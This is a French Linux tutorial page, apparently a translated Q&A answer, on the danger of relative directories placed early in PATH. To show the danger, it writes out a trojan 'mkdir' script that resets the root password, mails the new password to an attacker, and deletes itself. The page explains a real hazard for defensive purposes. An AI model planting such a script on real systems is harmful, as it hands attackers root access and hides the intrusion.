GNU/Linux >> Tutoriels Linux >  >> Linux

Implications pour la sécurité de l'utilisation de chemins relatifs dans la variable d'environnement PATH ?

Il y a deux problèmes avec le chemin que vous utilisez.

  1. Le chemin est relatif.
  2. Le chemin relatif vient avant les chemins principaux.

Supposons que vous ayez le script shell suivant que vous utilisez en tant que root pour mettre à jour une application Web et que vous avez défini le $PATH utilisé dans /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

À un attaquant, vous fournissez un moyen d'exécuter quelque chose dans le shell qui est contrôlé par ledit attaquant. Une forme d'attaque ressemblerait à ceci - où j'essaie de subvertir le contrôle du mkdir appeler dans le script vulnérable.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Ensuite, j'attends que vous mettiez à jour votre webapp.

Maintenant, ce qui se passe, c'est que le script vulnérable passe à /dev/shm . Quand il le fait et exécute mkdir il trouve le apps/java/bin/mkdir programme d'abord, qui dans ce cas réinitialise le mot de passe root, envoie par e-mail à l'attaquant le nouveau mot de passe root, appelle en fait le vrai mkdir (pour cacher le fait que quelque chose s'est réellement passé) et se retire du chemin d'attaque.

En tant que root, vous avez non idée de ce qui s'est passé et la preuve est effacée une fois que la charge utile a été livrée.


Le problème d'avoir un chemin relatif dans $PATH est que si un attaquant peut créer un fichier avec un nom donné dans votre système de fichiers, vous risquez d'exécuter ce fichier.

Exemple :df ou la surveillance indique que /var est plein, du dit que c'est /var/spool/ftp/uploads , que fais-tu ?

cd /var/spool/ftp/uploads
ls -ltr

et vous êtes propriétaire. Vous ne voyez même pas ls dans la sortie, vous ne le saurez donc jamais.

Remplacez les téléchargements ftp par un répertoire de données d'un site Web client, ou le répertoire /tmp d'une machine partagée, ou bien d'autres choses.

Certes, cela n'arrivera pas souvent, mais le risque existe, et écrire ./script au lieu de script est facile.


Linux
  1. Comment changer la variable PATH sous Linux

  2. Différence entre les chemins absolus et relatifs sous Linux

  3. Compter le nombre de fichiers dans un répertoire en utilisant C

  4. Ajout d'une nouvelle entrée à la variable PATH dans ZSH

  5. Boucle à travers les éléments d'une variable de chemin dans Bash

Naviguer dans le système de fichiers avec des chemins relatifs sur la ligne de commande

Utilisation du fichier de configuration SSH

Comment améliorer la sécurité des systèmes Linux à l'aide de Firejail

Comment changer le mot de passe root avec WHM ?

Chemin absolu ou relatif sous Linux :quelle est la différence ?

Comment puis-je démarrer un programme en tant que root à l'aide du gestionnaire de fenêtres ?